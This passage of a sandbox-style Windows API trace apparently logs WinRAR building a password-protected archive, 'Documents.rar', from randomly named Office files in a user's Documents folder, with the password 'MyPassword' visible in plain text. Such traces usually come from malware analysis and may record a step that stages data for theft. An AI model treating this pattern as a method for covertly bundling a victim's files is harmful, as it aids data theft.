HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dcb0 | out: hHeap=0x1162e7c0000) returned 1 [0084.080] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cb10 [0084.080] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cc00 [0084.080] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cc00 | out: hHeap=0x1162e7c0000) returned 1 [0084.080] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209cb10 | out: hHeap=0x1162e7c0000) returned 1 [0084.080] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c480, Size=0x48) returned 0x1162e888ea0 [0084.080] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205db20 [0084.080] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0084.080] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205db20 | out: hHeap=0x1162e7c0000) returned 1 [0084.083] GetTickCount () returned 0x2ad0f [0084.083] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17541140759) returned 1 [0084.083] GetTickCount () returned 0x2ad0f [0084.083] GetTickCount () returned 0x2ad0f [0084.083] GetTickCount () returned 0x2ad0f [0084.083] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0084.083] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0084.083] GetFocus () returned 0x1031c [0084.083] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0084.084] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.084] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.084] ResetEvent (hEvent=0x344) returned 1 [0084.084] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.085] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.085] ResetEvent (hEvent=0x344) returned 1 [0084.085] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.086] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.086] GetTickCount () returned 0x2ad0f [0084.086] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17541466602) returned 1 [0084.086] GetTickCount () returned 0x2ad0f [0084.086] GetTickCount () returned 0x2ad0f [0084.086] GetTickCount () returned 0x2ad0f [0084.086] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.086] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0084.086] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.086] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.086] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.086] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x275eef [0084.086] SetFilePointer (in: hFile=0x32c, lDistanceToMove=108, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x275f5b [0084.086] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.087] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.087] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.087] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.087] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x30b0, lpOverlapped=0x0) returned 1 [0084.087] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.087] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.087] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2580207, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x275eef [0084.087] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x275eef [0084.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c7e0 [0084.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cd50 [0084.087] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cd50, Size=0x48) returned 0x1162e888900 [0084.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0084.087] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cae0 [0084.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cae0, Size=0x48) returned 0x1162e8886d0 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c5a0 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c5a0 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c600 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c7e0, Size=0x48) returned 0x1162e888810 [0084.088] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888810, Size=0x7a) returned 0x1163205d850 [0084.088] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205d853*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205d853*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6c, lpOverlapped=0x0) returned 1 [0084.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c360 [0084.088] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6c) returned 0x1163204f2f0 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e8886d0 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205d850 | out: hHeap=0x1162e7c0000) returned 1 [0084.088] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x27900b [0084.088] CloseHandle (hObject=0x350) returned 1 [0084.088] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.088] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.088] FindFirstFileW (in: lpFileName="XvD0nTrkTg7W8h.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0084.088] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0084.088] CreateFileW (lpFileName="XvD0nTrkTg7W8h.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\xvd0ntrktg7w8h.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0084.091] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0084.091] GetTickCount () returned 0x2ad1e [0084.091] GetLastError () returned 0x0 [0084.091] SetLastError (dwErrCode=0x0) [0084.091] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0084.091] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0084.091] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0084.091] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0084.091] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0084.092] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0084.092] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0084.092] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0084.092] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0084.092] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="vZ5hUHAIiw4NGepftsf.docx") returned 24 [0084.092] SetWindowTextW (hWnd=0x10300, lpString="XvD0nTrkTg7W8h.xlsx") returned 1 [0084.093] GetTickCount () returned 0x2ad1e [0084.093] UpdateWindow (hWnd=0x102f8) returned 1 [0084.093] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0084.093] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a7630) returned 1 [0084.094] CryptGenRandom (in: hProv=0x116320a7630, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0084.094] CryptReleaseContext (hProv=0x116320a7630, dwFlags=0x0) returned 1 [0084.094] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x249)) [0084.094] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0084.094] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17542231547) returned 1 [0084.094] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xc770, lpOverlapped=0x0) returned 1 [0084.095] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9a7b0, nNumberOfBytesToRead=0xf3890, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9a7b0*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0084.095] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c780 [0084.095] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209cba0 [0084.095] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209cba0, Size=0x48) returned 0x1162e888ea0 [0084.096] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dc30 [0084.096] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c2a0 [0084.096] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c2a0, Size=0x48) returned 0x1162e888ef0 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dc30 | out: hHeap=0x1162e7c0000) returned 1 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.096] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c600 [0084.096] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c690 | out: hHeap=0x1162e7c0000) returned 1 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c600 | out: hHeap=0x1162e7c0000) returned 1 [0084.096] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c780, Size=0x48) returned 0x1162e888fe0 [0084.096] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888fe0, Size=0x7a) returned 0x1163205c800 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0084.096] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c800 | out: hHeap=0x1162e7c0000) returned 1 [0084.097] GetTickCount () returned 0x2ad1e [0084.097] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17542532123) returned 1 [0084.097] GetTickCount () returned 0x2ad1e [0084.097] GetTickCount () returned 0x2ad1e [0084.097] GetTickCount () returned 0x2ad1e [0084.097] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.097] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0084.097] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.098] ResetEvent (hEvent=0x344) returned 1 [0084.098] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.439] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.439] ResetEvent (hEvent=0x344) returned 1 [0084.439] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.441] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0084.441] GetTickCount () returned 0x2ae76 [0084.441] GetLastError () returned 0x0 [0084.441] SetLastError (dwErrCode=0x0) [0084.441] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0084.441] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0084.441] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0084.441] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0084.441] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0084.442] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17577015267) returned 1 [0084.442] GetTickCount () returned 0x2ae76 [0084.442] GetTickCount () returned 0x2ae76 [0084.442] GetTickCount () returned 0x2ae76 [0084.442] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2b8 | out: ppv=0x141a0dd2b8*=0x1163209c480) returned 0x0 [0084.442] TaskbarList:ITaskbarList3:SetProgressState (This=0x1163209c480, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0084.442] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1163209c480, hwnd=0x102f8, ullCompleted=0x31a671, ullTotal=0x31d668) returned 0x0 [0084.443] TaskbarList:IUnknown:Release (This=0x1163209c480) returned 0x0 [0084.443] GetLastError () returned 0x36b7 [0084.443] SetLastError (dwErrCode=0x36b7) [0084.443] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0084.443] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0084.443] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0084.443] SetWindowTextW (hWnd=0x10318, lpString=" 99%") returned 1 [0084.443] GetLastError () returned 0x0 [0084.443] SetLastError (dwErrCode=0x0) [0084.443] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0084.443] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 78%") returned 5 [0084.443] SetWindowTextW (hWnd=0x10314, lpString=" 79%") returned 1 [0084.444] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x63, lParam=0x0) returned 0x59 [0084.445] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.445] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.445] GetFocus () returned 0x1031c [0084.445] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.445] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 1 [0084.445] GetMessageW (in: lpMsg=0x141a0dd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd760) returned 1 [0084.445] GetFocus () returned 0x1031c [0084.445] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd760) returned 1 [0084.446] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.446] ResetEvent (hEvent=0x33c) returned 1 [0084.446] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.447] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.447] ResetEvent (hEvent=0x33c) returned 1 [0084.447] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0084.448] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0084.448] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0084.448] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.448] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x27900b [0084.448] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x279072 [0084.448] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0084.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0084.448] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0084.448] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0084.449] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0084.449] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xc800, lpOverlapped=0x0) returned 1 [0084.450] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0084.450] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0084.450] GetFocus () returned 0x1031c [0084.450] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0084.450] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0084.450] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2592779, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x27900b [0084.450] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x27900b [0084.450] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c8d0 [0084.450] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0084.450] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c690, Size=0x48) returned 0x1162e888fe0 [0084.450] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dc30 [0084.450] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c630 [0084.451] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c630, Size=0x48) returned 0x1162e888ea0 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dc30 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888fe0 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c9c0 [0084.451] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c750 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c750 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163209c9c0 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163209c8d0, Size=0x48) returned 0x1162e888ef0 [0084.451] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ef0, Size=0x7a) returned 0x1163205ddf0 [0084.451] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205ddf3*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205ddf3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x67, lpOverlapped=0x0) returned 1 [0084.451] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163209c690 [0084.451] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x67) returned 0x1162e7f9f40 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205ddf0 | out: hHeap=0x1162e7c0000) returned 1 [0084.451] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x285872 [0084.451] CloseHandle (hObject=0x350) returned 1 [0084.451] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0084.451] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0084.451] GetFocus () returned 0x1031c [0084.451] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0084.452] SetThreadExecutionState (esFlags=0x1) 